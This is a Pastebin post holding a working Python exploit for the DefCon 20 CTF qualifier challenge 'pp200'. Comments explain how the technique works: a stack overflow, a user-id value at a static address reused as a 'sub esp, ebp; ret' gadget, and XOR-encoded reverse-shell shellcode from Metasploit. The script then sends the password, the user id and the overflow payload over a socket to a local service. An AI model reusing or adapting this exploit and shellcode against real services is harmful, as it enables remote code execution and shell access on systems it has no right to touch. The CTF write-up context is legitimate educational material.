Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # exploit by @jgrusko
- # You can find a detailed analysis here:
- # http://blog.oxff.net/posts/DefCon%2020%20CTF%20Qualifications%3A%20pp200-jmjgjxh7rng7hgjyd7hq.html
- # I'll just focus my explanation on the way used to avoid relying on a stack address which
- # is not always accurate.
- # As said in the blog post, the verify_user() takes a dword as parameter and stores it at
- # static address 0x0804C58C
- # Then each byte of the dword is XORed against each other and compared to the value 0xa6 as in
- # the following pseudo code:
- # int verify_userid(unsigned int userid)
- # {
- # unsigned char *dword = userid;
- # return ((dword[0] ^ dword[1] ^ dword[2] ^ dword[3]) == 0xa6);
- # }
- # This means that we can use 3 ARBITRARY bytes and use the last one to make the result 0xa6.
- # Since this dword is located at a static location we can use it as our return address.
- # By supplying the following dword 0x29ecc3a0, the verify_userid() function
- # will succeed. When exploiting the stack overflow and returning on 0x0804C58C, we will have
- # the 2 following instructions executed:
- # ==============
- # sub esp, ebp ; 0x29 0xec
- # ret ; 0xc3
- # ==============
- # Since sfp has also been overwritten, ebp now contains an arbitrary value, which in our case
- # is 0x214. After ESP is subtracted by 0x214, it will point at the beginning of the shellcode.
- # The first dword of the shellcode is actually pointing on a "jmp esp" instruction, jumping
- # directly into the shellcode.
- # Even if we supply a dword, the shellcode is actually only XORed with the MSB of this
- # dword.
- # Here's the exploit code:
- import socket, struct
- # metasploit bsd/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444
- # If you are trying this on your system, remember the program
- # performs a chroot() call thus, if /bin/sh is not present
- # inside pp200 home directory you won't get a shell ;)
- shellcode = (
- "\x68\x7f\x00\x00\x01\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0"
- "\x50\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50"
- "\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8"
- "\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
- "\x50\x54\x53\x50\xb0\x3b\xcd\x80"
- )
- jmpESP = struct.pack("<I", 0x0804b56b)
- retAddr = struct.pack("<I", 0x0804c58c)
- # XOR Encode payload with MSB
- def xor_payload(payload):
- encoded_payload = ""
- for b in payload:
- encoded_payload += chr(ord(b) ^ 0x29)
- return encoded_payload
- def exploit():
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect(("localhost", 8912))
- # Send password
- s.send("b74b9d86e6cd3480\n")
- print(s.recv(1024))
- # Send userid
- s.send("a0c3ec29\n")
- print(s.recv(1024))
- payload = jmpESP + "\x90" * (0x200 - 4 - len(shellcode)) + shellcode
- payload += "\x0b" + struct.pack("<I", 0x214) + retAddr + "\n"
- s.send(xor_payload(payload) + "\n")
- print(s.recv(1024))
- s.close()
- if __name__ == "__main__":
- exploit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement